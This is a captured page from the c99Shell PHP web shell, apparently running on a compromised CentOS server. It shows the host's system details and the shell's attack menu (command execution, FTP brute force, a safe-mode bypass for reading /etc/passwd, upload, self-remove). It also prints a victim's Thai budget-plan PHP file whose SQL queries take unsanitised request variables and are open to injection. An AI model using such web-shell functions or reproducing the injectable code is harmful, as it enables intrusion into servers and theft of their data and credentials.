!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/director/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PlanStdDetail_bkp.php (5.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 
include("../include/FunctionDB.php");
include(
"../include/Function.php");

ConnectDB();

$sql =  " SELECT * FROM  projectStdPlan_tb   Where   Budget_Year='$Budget_Year'  and   Faculty_code='$Faculty_code'  and  Project_code='$Project_code' ";
$result mysql_query($sql) or die("Select Has Error").mysql_error();
$rs mysql_fetch_array($result);

?>

<html>
<head>
<title>ข้อมูลแผนดำเนินการ</title>
<link href="../css/default.css" rel="stylesheet" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>

<body>
<table width="560" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td height="10"></td>
  </tr>
</table>
<table width="560" border="0" align="center">
  <tr>
    <td width="554"><fieldset>
    <table width="96%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#E0E0E0">
      <tr bgcolor="#ECD9C6">
        <td height="5" colspan="3" bgcolor="#FFFFFF"></td>
      </tr>
      <tr bgcolor="#ECD9C6">
        <td height="25" colspan="3" bgcolor="#F0F0F0" align="center"><span class="TEXT-HEADER11-BLUE"><strong>แสดงรายละเอียดของแผนดำเนินการ</strong></span></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td height="10" bgcolor="#FFFFFF"></td>
        <td height="10" bordercolor="#006699" bgcolor="#FFFFFF"></td>
        <td height="10" bordercolor="#006699" bgcolor="#FFFFFF"></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF">รหัสหน่วยงาน</td>
        <td width="2%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma">
          <?php
         $Faculty_code 
=  $rs["Faculty_code"];
         
$sql "Select * From faculty_tb Where Faculty_code='$Faculty_code' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[Faculty_code]    $rss[Faculty_name]";
         
?>
        </font> </td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF">รหัสของแผน</td>
        <td width="2%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Orderlist]?></font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF">แผนงานโครงการ</td>
        <td width="2%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Project_plan]?></font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td width="23%" bgcolor="#FFFFFF">วัตถุประสงค์</td>
        <td width="2%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td width="75%" bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Orderlist_2]?></font> </td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF">ตัวชี้วัดความสำเร็จ</td>
        <td width="2%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Project_name]?></font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF">วิธีการดำเนินงาน</td>
        <td width="2%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Project_rep]?></font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF">กลุ่มเป้าหมาย</td>
        <td width="2%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Period]?></font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF">ผลที่คาดว่าจะได้รับ</td>
        <td width="2%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Period_1]?></font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF">หมวดเงิน</td>
        <td width="2%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">
          <?php
        $MoneyS_C  
$rs[MoneyS_C];
         
$sql3 "Select * From   money_source_tb Where  MoneyS_C='$MoneyS_C'";
         
$result3 mysql_query($sql3) or die("Error".mysql_error());
         
$rss mysql_fetch_array($result3);
          echo
" $rss[MoneyS_M]";
         
?>
        </font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td bgcolor="#FFFFFF">ปีงบประมาณ พ.ศ.</td>
        <td width="2%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td bordercolor="#006699" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#0033CC" size="2" face="Tahoma"><? echo $rs[Budget_Year]?></font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>
      </tr>
      <tr bgcolor="#ECD9C6">
        <td width="23%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
        <td colspan="3" bgcolor="#FFFFFF">&nbsp;</td>
      </tr>
    </table>
    </fieldset>
    <br>
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td align="center"><input type="button" name="close" value="ปิดหน้าต่าง" onClick="window.close()" class="CURSOR-HAND WIDTH80" /></td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0081 ]--